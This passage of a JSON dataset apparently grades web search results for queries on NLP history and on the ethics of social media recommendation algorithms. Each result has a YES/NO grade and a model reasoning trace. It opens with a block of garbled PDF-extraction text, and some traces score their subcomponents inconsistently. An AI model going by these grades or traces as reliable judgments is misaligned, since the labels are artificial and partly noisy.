\u00f0 c\u00e3 \u00ed Y\u00eb \u00f3 g\u00ec \u00e3 5\u00ec \u00dc \u00e9 \u00f4 b\u00df \u00bd\u00e0 \u00f5 \u00ef g\u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00f9 \u00ec \u00e3 Y\u00e3 \u00f1 F\u00ec \u00c9\u00f1 &\u00dc \u00dd t\u00e3 e\u00e1 \u00dd \u00eb \u00ed v\u00e1 t\u00eb 3\u00f0 \u00e9 \u00bd\u00e3 r\u00e1 t\u00e2 g\u00eb \u00e0 \u00bf\u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00fd\u00f6 C\u00f2 g\u00dc \u00dd 7\u00f0 c\u00e3 \u00ed Y\u00eb \u00f3 g\u00ec \u00e3 r\u00e1 t\u00e2 \u00e3 Y\u00dd t\u00e3 r\u00df \u00bd\u00ec \u00a6\u00f1 \u00a4\u00eb 3\u00dd t\u00de \u00e3 Y\u00e1 \u00c9\u00df \u00bd\u00e0 w\u00e1 \u00e3 Y\u00dd t\u00e3 \u00ec \u00e1 \u00c9\u00df \u00bd\u00e0 \u00bf\u00eb F\u00ec \u00dc \u00e9 \u00bd\u00f3 g\u00e1 t\u00df \u00dc \u00e0 \u00e1 \u00dc \u00f9 \u00c5\u00fe 4\u00ff 7\u00e2 \u00e3 Y\u00dd \u00e3 \u00e2 g\u00eb \u00ec \u00ca\u00f0 i\u00e3 Y\u00e3 \u00e0 \u00f8\u00f4 \u00e3 Y\u00dd \u00a1 \u00f8\u00ec t\u00f3 \u00f0 \u00ec t\u00e1 t\u00eb \u00e0 w\u00e1 t\u00df \u00bd\u00eb \u00e9 \u00ef g\u00dd t\u00dc \u00f5 \u00dd t\u00e3 \u00ec \u00ec Y\u00f2 '\u00f0 i\u00dc \u00e1 t\u00e2 \u00df \u00bd\u00e0 \u00fb\u00f3 \u00e0 g\u00ea \u00e3 Y\u00dd \u00ec \u00e1 t\u00eb \u00e0 \u00ea g\u00df \u00bd\u00e0 \u00f5 \u00e2 \u00dc \u00a3\u00a2 1\u00e1 \u00dc \u00ea \u00dc A\u00e4 \u00e5 ae \u00fd\u00eb \u00e0 g\u00ea \u00df \u00bd\u00e0 \u00ee\u00eb \u00ed v\u00e1 t\u00f3 g\u00eb \u00e9 \u00bd\u00e9 \u00a4 #\u00ea g\u00dc \u00df \u00bd\u00e0 \u00f5 6\u00df \u00bd\u00e1 Y\u00f2 s\u00ec t\u00df \u00bd\u00e0 g\u00ed v\u00e3 \u00ec t\u00ec t\u00df \u00e0 \u00f5 r\u00df \u00bd\u00e0 w\u00e1 \u00dc r\u00e1 t\u00e2 \u00e3 \u00c9\u00dc \u00dd \u00ea g\u00df \u00bd\u00e0 \u00eb 3\u00dd \u00a1 !\u00a2 5\u00dc \u00dd \u00e9 \u00bd\u00ea \u00cc\u00fe #\" b\u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00bd\u00f1 &\u00e3 \u00ec \u00e1 t\u00e2 \u00e3 \u00c9\u00ec t\u00ed Y\u00df \u00bd\u00e3 \u00e0 w\u00e1 t\u00df \u00e7 U\u00ed 7\u00eb \u00ea \u00f4 3\u00eb \u00e0 g\u00ed v\u00e3 \u00df \u00e0 F\u00e4 \u00c9\u00e5 uae y\u00f2 w\u00dc \u00dd 5\u00e1 t\u00e2 \u00e3 \u00ed v\u00dc \u00f1 &\u00ef \u00f3 g\u00e1 t\u00eb 3\u00e1 t\u00df \u00dc \u00e0 g\u00eb \u00e9 H\u00e9 \u00bd\u00df \u00bd\u00e0 \u00f5 \u00f3 g\u00df \u00ec \u00e1 t\u00df \u00bd\u00e0 g\u00ed v\u00e1 t\u00df \u00f4 \u00e3 \u00a6\u00ed v\u00dc \u00e0 g\u00ed v\u00e3 Y\u00dd P\u00e0 g\u00ec \u00eb \u00e0 g\u00ea \u00f8\u00ec t\u00e1 ' b\u00e9 \u00e3 \u00ec Y\u00fe A &\u00ea \u00e3 Y\u00e7 \u00e0 g\u00e3 \u00e1 t\u00e2 g\u00e3 \u00e7 g\u00dd \u00ec \u00e1 &\u00ef U\u00e2 g\u00eb \u00ec \u00e3 \u00bf\u00dc B\u00a2 4\u00dc \u00dd \u00de \u00df \u00e0 \u00a8\u00e4 \u00c9\u00e5 uae \u00eb \u00ec \u00a4\u00e9 \u00eb \u00ec \u00e1 t\u00df \u00bd\u00e0 \u00f5 \u00a9 \u00dd t\u00dc \u00f1 \u00e1 t\u00e2 \u00e3 \u00e9 \u00eb 3\u00e1 \u00e3 C ED 9 \u00ec \u00a4\u00e1 \u00dc S\u00e1 t\u00e2 \u00e3\n\n[URL] https://www.cl.cam.ac.uk/archive/ksj21/histdw4.pdf\n[DATE PUBLISHED] None\n[CONTENT] F 0G IH \u00a3P RQ TS \u00a7U VS W YX a\u00c8Q bW cQ ed aU \u00a1f 0W gX 0P hU Vi qp rX 0s Vd td 1u vU wX bf 0P Rx ci RW @y 5U \u00a1f 0\u00a3X 'U Vi i hU V \u00a3 \u00c8U V W S X 0s x cW cQ bQ bP R E U V \u00a5s \u00a1 3W gX 0 P RW g R IP R f 0H \u00a3W 6 \u00a3X 0Q f aU V E Q bW cx cs V \u00a7 W P df 0P hs V EQ es Vp 5f 'g Eh ji Yk 'g l wh \u00a4m on Vg l Vp i Yg q gr q cp Rn Ys \u00a3i bt Vm ol !n u vp m rg w Vx m zy 0h \u00a4m oq gy 0 {W g C| }s VX 0 p rs VX ' EP R 3W gX 0Q bP df u ! 8X 0W cQ bQ c V 3 o $ \u00a7 }X 0P R H f Y Y 9U V E BP R S \u00a3X 0W cQ bQ e o } 9 X 'U i RW gu E Y 9U w \u00a7 p X 0s d y {U wf 0X 'U Vi i hU w E \u00c8U V VW S \u00a3X 0s x gW cQ bQ bP R E \u00a3 qU aH \u00a3P RQ f 0s VX 0P Rx U Vi s w W gX 0 P hW Y P R x k Yk bi Yg Eh 5m ry 'y 0x Ei Yy em zg q 0n V s \u00a7x h l Vh \u00a4m on Vg \u00a7l p Ip m zg w Vx m zy 0h \u00a4m oq gy g am zg \u00a3n wg n Vx k vn u 1 en wg C l p 3i Yk '\n\u00e2 \u00e4\u00e3 \u00e5 Tae }\u00e7 \u00e9\u00e8 v\u00ea \u00d8\u00eb w\u00e5 \u00ec &\u00e7 \u00ed\u00e8 \u00ee T\u00ef 6\u00f0 aae \u00f1\u00ec &\u00f2 \u00ed\u00eb \u00a1\u00e5 \u00ec I\u00e7 \u00e9\u00e8 e\u00ee v\u00f3 T\u00f0 vae\n8\u00aa \u00db\u00b0\u00aa \u00b0\u00a1\u00b0w\u00be \u00a49\u00b5 q\u00fa R\u00b0\u00c3 \u00a7\u00c3 I\u00aa w\u00b0 \u00c7 \u00d3\u00c8 a\u00b2 8\u00aa \u00c8 \u00aa \u00b6 \u00b6 \u00be o\u00b5 8\u00d0 \u00a9 9\u00b5 \u00bd\u00cf g\u00b5 )\u00a9 \u00aa w\u00b5 \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 \u00a7 V 9\u00b5 8\u2022 \u00aa \u00a1\u00aa \u00b5 \u00b3 3\u00aa a9\u00b5 \u00bc\u00cc \u00ac\u00b3 V\u00b2 \u00be o\u00b5 8\u00aa 6\u00c8 w\u00b5 \u00b0\u00a1 \u00a7 o \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 v\u2022 q\u00dc \u00b5 8\u00d0 9\u00c2 \u00a7\u00d0 \u00aa \u00b0\u00b5 \u00b6 \u00bd\u00ce 6\u00c3 \u00c3 \u00a7 o\u00be \u00a4\u00aa \u00b6 v\u00dc \u00b5 \u00a5\u00d2 \u00d0 9\u00c2 \u00a7\u00d0 \u00aa @\u00ce \u00b5 \u00a7 \u00a4AE \u00a5\u00b0\u00a1\u00be o\u00b0T\u00be \u00b5 \u00a9\u00ab \u00ae \u00a5\u00ab \u00c1 e\u00b0a\u00c3 I\u00aa w\u00b2 \u00a7\u00c3 \u00b0\u00a9 \u00a1\u00b2 8\u00aa !\u00b2 \u00be \u00a4\u00d0 9\u00b2 \u00db\u00c3 I9\u00be o\u00b5 )\u00a9 \u2022 {\u00a9 \u00a1\u00b2 \u00be o\u00b0a\u00c9 w\u00b0\u00a9 e\u00c3 \u00b2 \u00b0\u00a1\u00aa 0Y #\u00be \u00a4\u00a9 T\u00a1\u00aa \u00c3 I\u00a1\u00a9 \u00aa \u00b6 \u00d1\u00c1 \u00a1\u00d5 \u00db \u00b6 89\u00b5 8\u00aa \u00be o\u00b5 \u00c5\u00b9 \u00bd\u00b5 $AE \u00c5\u00b3 39\u00c2 \u00b5 $\u00a9 V\u00be \u00a4\u00aa \u00b09\u00b5 \u00d3\u00b9 \u00b5 $AE \u00bf\u00b0\u00c3 I\u00aa \u00b3 3\u00a9 \u00a1\u00b0B\u2022 #\u00da \u00dc \u00dd \u00be o\u00b5 \u00b3 \u00a7 o\u00c2 \u00b6 \u00be o\u00b5 \u00d0 \u00b9 \u00bd\u00a1\u00c3 \u00b2 89 \u00a7 \u00a4\u00d0 AE \u00b1 q\u00b0AE \u00a5\u00b5 )\u00a9 \u00a1\u00cb\u00d4 \u00c5\u00b5 \u00b6 \u00d3\u00b0\u00aa \u00b9 \u00bd\u00b5 )\u00a9 \u00a1\u00be o\u00b3 \u00b0 \u00b1 q\u00be o\u00b5 \u00be o\u00b5 )\u00a9 \u00aa \u00a1\u00c3 \u00a1\u00aa \u00a9 \u00a1 \u00a7\u00a9 \u00a1\u00be o9\u00b5 \u00bf\u00b5 \u00b6 \u00d1\u00d0 \u00aa \u00b5 8\u00aa V \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 q\u00b1 \u00b5 \u00b6 \u00dbV\u00b5 8\u00d0 9\u00be o\u00b5 8\u00d0 v\u2022 \u00a19\u00b9 \u2022 w\u00b9 \u00bd \u00a7 I\u00a9 \u00a1\u00b2 8\u00aa wAE \u00bc\u00a9 \u00a5\u00b2 \u00a7w \u00b6 8\u00c1 e \u00a7\u00a1\u00aa \u00c7 \u00c8 a\u00b2 \u00be o\u00b0\u00c9 w\u00b0\u00a9 \u00c3 \u00b2 \u00b0\u00aa B\u00c1 e\u00b0a\u00c3 I\u00aa w\u00be \u00a4\u00a5 \u00b6 \u2022 {\u00aa \u00b5 )\u00a9 \u00a1\u00b2 )\u00c2 \u00b0w\u00be o\u00b0\u00a1\u00b9 \u00b5 \u00b6 \u00db\u00c3 \u00a9 \u00a1\u00be o\u00b9 \u00be o\u00b0\u00a1\u00b9 \u00d1\u00c7 5\u00cf g\u00a9 e\u00be \u00b0T\u00b5 8\u00a9 \u00a1 \u00a7\u00cb \u00a7 \u00a4\u00aa \u00b5 8\u00a9 e9\u00b5 \u00a7 \u00a4AE \u00a5\u00cb I\u00aa \u00b3 \u00c2 \u00b0\u00aa\n\u00b0\u00aa \u00a7w\u00b3 w\u00b2 \u00d8\u00be o\u00b5 \u00d6\u00a9 \u00a1\u00b2 \u00be o\u00b0\u00c3 I\u00aa w\u00be \u00a4\u00a5 \u00b6 C\u00c1 e\u00b0\u00a9 \u00a1\u00b2 8\u00a19\u00c2 8\u00d0 9\u00b2 \u00a7 \u00a4AE C\u00be o\u00b5 )\u00a9 \u00aa w\u00b5 \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 \u00a7 b\u00b1 \u00c1 v\u00be \u00a4\u00a9 \u00a1\u00b2 \u00d9\u00b3 39\u00b5 \u00b0\u00a1\u00be \u00b6 8\u00aa w \u00a7\u00cb \u00a7 \u00a4\u00aa \u00db\u00b3 3\u00a9 \u00a1\u00be \u00a4\u00ca \u00a5\u00be \u00a4\u00a9 'AE \u00d6\u00be o\u00b5 \u00d6\u00a9 \u00a1\u00b2 8\u00aa e W W \u00a5\u00f9 \u00b0@\u00c1 1\u00aa \u00a7 \u00a7 #\u00b0!\u00be \u00b5 \u00a9 \u00a1\u00b2 8\u00aa e W \u00a5\u00ce \u00b5 \u00b6 C\u00ff 1\u00c2 8\u00a1\u00c3 I\u00aa \u00b1 \u00b5 \u00b6 \u00c4\u00b0\u00a19\u00b9 v\u00aa \u00a5\u00be o\u00b5 \u00a9f 9 \u00a7\u00c3 \u00b5 q\u00c7 e W \u00d0 w\u00b5 $\u00a9 !\u2022 \u00c2 \u00b5 \u00b6 \u00be o\u00b5 8\u00d0 \u00d1\u00be o\u00b5 \u00b3 3\u00a1\u00aa \u00b0\u00aa \u00b6 \u00a7\u2022 \u00a9 \u00aa \u0123W \u00c3 \u00c2 8\u00a9 \u00a1\u00b5 \u00be o\u00d5 \u00d9\u00ab \u00a7\u00b1 e\u00cb \u00c2 8\u00a9 \u00a9 \u00a1\u00b2 8\u00aa \u00db\u00c1 1\u00a1\u00d5 \u00b2 \u00b6 \u00d6\u00cb &\u00aa \u00d0 9\u00c2 \u00b5 \u00cb I\u00aa \n\nIs this web page useful for this query? Have the last word in your reasoning be YES or NO.\n\nQuery Decomposition:\n1. [historical development of machine learning techniques for natural language processing]: This document appears to be an academic paper, but the content provided is not readable and does not clearly indicate whether it covers the historical development of machine learning techniques for NLP -> ([0], UNSURE)\n2. [comprehensive overview of key milestones and breakthroughs]: The document's content is unreadable, so it's impossible to determine if it provides a comprehensive overview of key milestones and breakthroughs -> ([0], UNSURE)\n3. [from the 1950s to the present day]: The document's content is unreadable, so it's impossible to determine if it covers the timeline from the 1950s to the present day -> ([0], UNSURE)\n\nAssessment: The document's content is unreadable and does not provide enough information to evaluate any of the subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://aclanthology.org/www.mt-archive.info/Zampolli-1994-Sparck-Jones.pdf",
                "published_date": null,
                "text": "",
                "model_trace": "Query Decomposition:\n1. {academic papers}: The URL provided points to a PDF file, which is likely an academic paper -> ([1], SATISFIED)\n2. {comprehensive overview of the key milestones and breakthroughs}: The content of the document is not provided, so it is unclear if it provides a comprehensive overview -> ([0], UNSURE)\n3. {historical development of machine learning techniques for natural language processing}: The title and content are not provided, so it is unclear if the document covers this topic -> ([0], UNSURE)\n4. {from the 1950s to the present day}: The time span covered by the document is not clear from the provided information -> ([0], UNSURE)\n\nAssessment: The only subcomponent that can be evaluated is {academic papers}, which is satisfied. However, the other critical subcomponents cannot be assessed due to lack of information. Therefore, the document's usefulness cannot be determined with certainty. NO."
            },
            {
                "grade": "YES",
                "title": "Machine Learning Meets Natural Language Processing -- The story so far",
                "url": "https://arxiv.org/abs/2104.10213",
                "published_date": "2021-03-27",
                "text": "27 Mar 2021\n\nDepartment of Computer Science\nHUman-MAchines INteraction Laboratory (HUMAIN-Lab)\nInternational Hellenic University\nKavalaGreece\n27 Mar 2021Machine learning \u00b7 Computational Linguistics\u00b7 NLP\u00b7 NLU\u00b7 NLG\u00b7 Linguistics\u00b7 Ambiguity\u00b7 CNN\u00b7 BERT\u00b7 Transformers\u00b7 GPT\nMachine Learning Meets Natural LanguageProcessing -The story so far Nikolaos-Ioannis Galanis [0000\u22120001\u22129528\u22124349] , Panagiotis Vafiadis [0000\u22120002\u22126448\u22125524] , Kostas-Gkouram Mirzaev [0000\u22120003\u22124473\u22124631] , and George A. Papakostas [0000\u22120001\u22125545\u22121499]Abstract. Natural Language Processing (NLP) has evolved significantly over the last decade. This paper highlights the most important milestones of this period, while trying to pinpoint the contribution of each individual model and algorithm to the overall progress. Furthermore, it focuses on issues still remaining to be solved, emphasizing on the groundbreaking proposals of Transformers, BERT, and all the similar attention-based models.\n\nIntroduction\n\nRecords of NLP application can be found even before the early 1900's when there were attempts of using machine translation to translate text from one language to another [1]. Meanwhile, there were some conflicting views between linguistics and computer science claiming that language is generative in nature and cannot be described with mathematical concepts [2]. Alan Turing adequately answered \"Can machines think?\" in 1950, by introducing the research/study of \"Imitation Game\" [3], a simulation process of a computer acting and answering without substantially changing the outcome [4]. Thus the machine is considered to be \"thinking\", as long as having a conversation with it could be indistinguishable from that with a human.\n\nThe first successful attempt to achieve that was ELIZA [5], a simple program within the Project of Mathematics and Computation (\"Project MAC\") at MIT that managed to mislead people into believing that it's a psychologist, reflecting on questions by turning the questions back at the speaker. Another program was PARRY (Colby, 1975) mimicki",
                "model_trace": "Query Decomposition:\n1. {Academic papers}: This document is an academic paper -> ([1], SATISFIED)\n2. {Comprehensive overview of key milestones and breakthroughs}: The abstract mentions that the paper highlights the most important milestones and contributions of individual models and algorithms in NLP -> ([1], SATISFIED)\n3. {Historical development from the 1950s to present day}: The introduction references historical milestones starting from the early 1900s, including the 1950s with Alan Turing's work and subsequent developments -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "(PDF) Natural Language Processing: History, Evolution ...",
                "url": "https://www.researchgate.net/publication/350058919_Natural_Language_Processing_History_Evolution_Application_and_Future_Work",
                "published_date": null,
                "text": "Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free         \n                    \n            \n        \n        \n        \n                                        \n             Natural Language Processing: History , Evolution, Application, and Futur e W ork Prashant Johri, Sunil K. Khatri, Ahmad T . Al-T aani, Munish Sabharwal, Shakhzod Suvanov, and A vneesh Kumar Abstract It is quite hard to imagine a smart system like a voice assistant or a chat-  bot or a recommender system without natural language processing (NLP). It all starts with an initial unit that \ufb01rst interprets the data (audio or text) provided and then start making sense of the data, and after proper processing of the data, the actual steps are followed by the machine to throw some replies or get the work done. NLP does not fall under a discipline; rather it is a part of several different disciplines, i.e., computer science, information engineering, arti\ufb01cial intelligence (AI), and linguistics. The concern of NLP is the interaction between a computer and human languages. NLP areas include speech recognition, machine translation, automatic text summarization, part-of-speech tagging, etc. Generally, NLP is used in many real-time applications like smart homes, smart of\ufb01ces like Alexa, Cortana, Siri, and Google Assistant. The history of NLP generally started in the 1950s and has come a long way from then and improved a lot. This paper discusses the history of NLP , its evolution, its tools and techniques, and its applications in different \ufb01elds. The paper also discusses the role of machine learning and arti\ufb01cial neural networks (ANNs) to improve NLP . P . Johri (B  )\u00b7 M. Sabharwal \u00b7 A. Kumar     Department of Computer Science, Galgotias University , Greater Noida, India e-mail: johri.prashant@gmail.com  M. Sabharwal e-mail: mscheckmail@yahoo.com  A. Kumar e-mail: avneesh.avn119@gmail.com  S. K. Khatri Amity University , Tashkent, Uzbekistan e-mail: sunilkkhatri@gmail.com  A. T. Al-T a",
                "model_trace": "Query Decomposition:\n1. {academic papers}: This document is an academic paper published on ResearchGate -> ([1], SATISFIED)\n2. {comprehensive overview of key milestones and breakthroughs in machine learning techniques for NLP}: The document discusses the history, evolution, tools, techniques, and applications of NLP, including the role of machine learning and artificial neural networks -> ([1], SATISFIED)\n3. {timeframe from the 1950s to the present day}: The document mentions that the history of NLP started in the 1950s and has evolved significantly since then -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides a comprehensive overview of the history and evolution of NLP, including key milestones and breakthroughs, and it covers the requested timeframe. YES."
            },
            {
                "grade": "NO",
                "title": "A short explanation of the history of the natural language m",
                "url": "https://www.linkedin.com/pulse/short-explanation-history-natural-language-models-anton-grechanyuk",
                "published_date": null,
                "text": "Content\n          \n     \n  \n                \n    \n          Introduction\n        \n  \n                \n    \n          A. Explanation of natural language models\n        \n  \n                \n    \n          B. Importance of natural language models\n        \n  \n                \n    \n          II. Early Natural Language Models\n        \n  \n                \n    \n          A. The beginnings of natural language processing (NLP)\n        \n  \n                \n    \n          B. Early rule-based approaches to NLP\n        \n  \n                \n    \n          C. The advent of statistical models for language processing\n        \n  \n                \n    \n          III. Neural Networks and Deep Learning\n        \n  \n                \n    \n          A. Introduction of neural networks for NLP\n        \n  \n                \n    \n          B. Developments in deep learning techniques for NLP\n        \n  \n                \n    \n          C. Examples of successful NLP models based on neural networks\n        \n  \n                \n    \n          IV. Contemporary Natural Language Models\n        \n  \n                \n    \n          A. Advances in deep learning architectures for NLP\n        \n  \n                \n    \n          B. Large-scale pre-trained language models like GPT and BERT\n        \n  \n                \n    \n          C. Real-world applications of contemporary natural language models\n        \n  \n                \n    \n          V. Future Directions for Natural Language Models\n        \n  \n                \n    \n          A. Ongoing research in NLP and machine learning\n        \n  \n                \n    \n          B. Emerging technologies and potential breakthroughs in NLP\n        \n  \n                \n    \n          C. Possible implications of natural language models for society and industry\n        \n  \n                \n    \n          VI. Conclusion\n        \n  \n                \n    \n          A. Summary of the history of natural language models\n        \n  \n                \n    \n          B. Reflection on the importance of natural language models\n    ",
                "model_trace": "Query Decomposition:\n1. {academic papers}: This document is a LinkedIn article, not an academic paper -> ([0], UNSATISFIED)\n2. {comprehensive overview of key milestones and breakthroughs in machine learning techniques for natural language processing from the 1950s to the present day}: The document's content structure suggests it provides an overview of the history of NLP, including early rule-based approaches, statistical models, neural networks, deep learning, and contemporary models -> ([1], SATISFIED)\n\nAssessment: Although the document provides a comprehensive overview of the historical development of NLP techniques, it is not an academic paper, which is a critical requirement for the query. Therefore, the document does not fully satisfy the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Machine Learning and Natural Language Processing in ...",
                "url": "https://www.researchgate.net/publication/342646277_Machine_learning_and_natural_language_processing_in_psychotherapy_research_Alliance_as_example_use_case",
                "published_date": null,
                "text": "Artificial intelligence generally and machine learning specifically have become deeply woven into the lives and technologies of modern life. Machine learning is dramatically changing scientific research and industry and may also hold promise for addressing limitations encountered in mental health care and psychotherapy. The current paper introduces machine learning and natural language processing as related methodologies that may prove valuable for automating the assessment of meaningful aspects of treatment. Prediction of therapeutic alliance from session recordings is used as a case in point. Recordings from 1,235 sessions of 386 clients seen by 40 therapists at a university counseling center were processed using automatic speech recognition software. Machine learning algorithms learned associations between client ratings of therapeutic alliance exclusively from session linguistic content. Using a portion of the data to train the model, machine learning algorithms modestly predicted alliance ratings from session content in an independent test set (Spearman's \u03c1 = .15, p &lt; .001). These results highlight the potential to harness natural language processing and machine learning to predict a key psychotherapy process variable that is relatively distal from linguistic content. Six practical suggestions for conducting psychotherapy research using machine learning are presented along with several directions for future research. Questions of dissemination and implementation may be particularly important to explore as machine learning improves in its ability to automate assessment of psychotherapy process and outcome. (PsycInfo Database Record (c) 2020 APA, all rights reserved).        Figures - uploaded by David C Atkins    Author content   All figure content in this area was uploaded by David C Atkins    Content may be subject to copyright.    Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free          \n                    \n            \n        ",
                "model_trace": "Query Decomposition:\n1. [academic papers]: This document appears to be an academic paper published on ResearchGate -> ([1], SATISFIED)\n2. [comprehensive overview of key milestones and breakthroughs in machine learning for natural language processing]: The document focuses on the use of machine learning and natural language processing in psychotherapy research, specifically on predicting therapeutic alliance from session recordings. It does not provide a historical overview or key milestones and breakthroughs in the field from the 1950s to the present day -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent of being an academic paper but does not satisfy the requirement of providing a comprehensive overview of key milestones and breakthroughs in machine learning for natural language processing. Therefore, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a journalist writing an article on the ethical considerations around the use of recommendation algorithms by social media platforms. I need to find academic studies that analyze the potential biases, privacy issues, and societal impacts of these algorithmic systems that curate content for users.",
        "grid_pos": [
            2,
            0
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The provided queries cover a range of academic research topics that would require finding relevant published papers and journal articles to answer effectively. The queries demonstrate a need for in-depth, contextual information and demonstrate the user's familiarity with the research process. Providing high-quality, authoritative sources to address these queries would test the capabilities of an AI-powered search engine like Exa."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Responsible AI for Social Media Governance A proposed collaborative method for studying the effects of social media recommender systems on users",
                "url": "https://gpai.ai/projects/responsible-ai/social-media-governance/responsible-ai-for-social-media-governance.pdf",
                "published_date": null,
                "text": "Kate Hannah, University of Auckland\nP\u016bnaha Matatini, University of Auckland\nDino Pedreschi, University of Oxford\nSanjana Hattotuwa, University of Auckland\nTe P\u016bnaha Matatini, University of Auckland\nAndrew Trotman, University of Otago\nRicardo Baeza-Yates, Northeastern University\nRituparna Roy, University of Auckland\nDavid Eyers, University of Otago\nVirginia Morini, National Research Council of Italy (ISTI-CNR\nValentina Pansanella, University of Pisa\n\nExecutive summary\n\nThis report presents the findings and recommendations of the GPAI's Social Media Governance project, coordinated by its Working Group on Responsible Use of AI. Our project focuses on a question at the forefront of global discussions about social media governance: what are the effects of social media platforms, on individual users, and on communities? And are any of these effects harmful?\n\nOur project considers two related questions. One question is how to define the concept of 'harmful' social media content. We review existing definitions of harmful content, that are used within social media companies and in wider academic and policy communities. But we also advance a particular proposal: that communities in a given country should take the lead in formulating definitions of harmful content-and that the loudest voice in these discussions should be given to the communities that suffer the most harm. Hate speech on social media is particularly directed at certain communities: in our project we have trialled a method for engaging with these groups about their lived experiences, to surface meaningful definitions of harmful content. This work focuses on a single country (Aotearoa New Zealand) as a case study, but the method we are trialling is designed to be extendable to other countries. One of our aims is to highlight the importance of regional variations in definitions of harmful content, and to propose a possible model of regional governance for Internet platforms in relation to harmful content.\n\nA second question focuses on the AI systems that dissem",
                "model_trace": "Query Decomposition:\n1. {academic studies}: The document is a report from an academic project involving multiple universities -> ([1], SATISFIED)\n2. {ethical considerations around the use of recommendation algorithms by social media platforms}: The document focuses on the effects of social media platforms, which likely includes recommendation algorithms -> ([2], SATISFIED)\n3. {potential biases}: The document discusses harmful content and its impact on communities, which implies an analysis of biases -> ([2], SATISFIED)\n4. {privacy issues}: The document does not explicitly mention privacy issues -> ([0], UNSURE)\n5. {societal impacts}: The document discusses the effects on individual users and communities, which covers societal impacts -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {academic studies}, {ethical considerations around the use of recommendation algorithms by social media platforms}, {potential biases}, and {societal impacts}. Since all these subcomponents are SATISFIED, the document is helpful for the user's request. YES."
            },
            {
                "grade": "YES",
                "title": "Recommendation Algorithms, a Neglected Opportunity for Public Health REVUE M\u00c9DECINE ET PHILOSOPHIE",
                "url": "https://philpapers.org/archive/HOARAA.pdf",
                "published_date": null,
                "text": "Louis Faucon, Ecole Polytechnique F\u00e9d\u00e9rale de Lausanne, Switzerland, Emails\nEl-Mahdi El-Mhamdi, \u00c9cole Polytechnique, France\n\nAbstract\n\nThe public discussion on artificial intelligence for public health often revolves around future applications like drug discovery or personalized medicine. But already deployed artificial intelligence for content recommendation, especially on social networks, arguably plays a far greater role. After all, such algorithms are used on a daily basis by billions of users worldwide. In this paper, we argue that, left unchecked, this enormous influence of recommendation algorithms poses serious risks for public health, e.g., in terms of misinformation and mental health. But more importantly, we argue that this enormous influence also yields a fabulous opportunity to provide quality information and to encourage healthier habits at scale. We also discuss the philosophical, technical and socio-economical challenges to seize this immense opportunity, and sketch the outlines of potential solutions. In particular, we argue that it would be extremely helpful if public and private institutions could publicly take a stand, as this may then generate the necessary social, economical and political pressure to massively invest in the research, development and deployment of the potential solutions.\n\nIntroduction\n\nArtificial Intelligence (AI) promises major advances in medicine and public health, from advancing our knowledge of molecular biology (Senior et al., 2020; Gupta et al., 2020) to monitoring the progress of large-scale pandemics (Cavlo et al., 2020) ; from treatment development (Ong et al., 2020) to scalable diagnosis instruments (Rajpurkar et al., 2017) . However, such developments also raise ethical concerns, especially in terms of software security, privacy and misuse (Fern\u00e1ndez-Alem\u00e1n et al., 2013) . Moreover, one may argue that this line of work has been somewhat under-delivering, at least in contrast to the massive investments and hype that accompany the \"AI and health\" slogans (Shortliff",
                "model_trace": "Query Decomposition:\n1. {academic studies}: The document appears to be an academic paper -> ([1], SATISFIED)\n2. {analyze the potential biases of recommendation algorithms}: The document discusses the influence of recommendation algorithms but does not specifically mention biases -> ([0], UNSURE)\n3. {analyze privacy issues of recommendation algorithms}: The document mentions privacy concerns in the context of AI in general, but not specifically for recommendation algorithms -> ([2], UNSURE)\n4. {analyze societal impacts of recommendation algorithms}: The document discusses the societal impacts of recommendation algorithms, particularly on public health, misinformation, and mental health -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {academic studies} and {analyze societal impacts of recommendation algorithms}. Since both of these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Quantifying the Effects of Recommendation Systems",
                "url": "https://ieeexplore.ieee.org/document/9005951/",
                "published_date": null,
                "text": "Recommendation systems today exert a strong influence on consumer behavior and individual perceptions of the world. By using collaborative filtering (CF) methods to create recommendations, it generates a continuous feedback loop in which user behavior becomes magnified in the algorithmic system. Popular items get recommended more frequently, creating the bias that affects and alters user preferences. In order to visualize and compare the different biases, we will analyze the effects of recommendation systems and quantify the inequalities resulting from them.",
                "model_trace": "Query Decomposition:\n1. [academic studies]: This document appears to be an academic study published on IEEE Xplore, a reputable source for academic papers -> ([1], SATISFIED)\n2. [analyze potential biases]: The document mentions analyzing the biases created by recommendation systems -> ([1], SATISFIED)\n3. [privacy issues]: The document does not mention privacy issues -> ([0], UNSURE)\n4. [societal impacts of recommendation algorithms]: The document discusses the influence of recommendation systems on consumer behavior and individual perceptions, which can be considered societal impacts -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {academic studies}, {analyze potential biases}, and {societal impacts of recommendation algorithms}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "[PDF] Social Media Recommendation Algorithms - Belfer Center",
                "url": "https://www.belfercenter.org/sites/default/files/files/publication/Social%20Media%20Recommendation%20Algorithms%20Tech%20Primer.pdf",
                "published_date": null,
